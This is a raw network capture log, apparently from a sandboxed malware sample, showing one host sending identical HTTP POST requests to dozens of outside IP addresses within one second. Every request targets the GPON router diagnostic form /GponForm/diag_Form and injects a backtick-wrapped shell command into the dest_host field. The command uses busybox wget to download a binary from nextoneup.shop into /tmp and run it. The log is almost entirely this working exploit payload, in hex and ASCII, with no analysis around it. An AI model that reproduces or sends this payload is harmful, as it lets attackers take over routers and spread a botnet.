Apr 14, 2024 03:59:51.768769979 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.13	55042	210.27.61.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768794060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.13	34238	117.96.177.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768817902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.13	58936	123.19.55.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768853903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.13	60956	117.63.111.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768873930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.13	60736	178.31.168.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768903971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.13	59110	79.160.248.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768927097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.13	48538	37.150.98.170	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768963099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.13	46928	5.15.58.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768984079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.13	41066	117.123.245.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769016027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.13	51552	79.136.20.237	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769054890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.13	47588	212.85.91.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769088984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.13	55860	148.230.178.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769089937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.13	42254	109.157.26.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769121885 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.13	56210	210.238.172.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769145012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.13	55430	178.196.153.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769181967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.13	35608	79.210.128.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769203901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.13	56178	117.81.50.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769234896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.13	33900	109.63.214.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769267082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.13	59704	178.104.252.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769299030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.13	33120	79.163.166.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769326925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.13	33410	109.28.246.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769340992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.13	53026	210.213.196.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769366980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.13	59068	37.177.51.33	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769386053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.13	58152	118.104.181.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769428968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.13	41442	117.10.157.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.769450903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
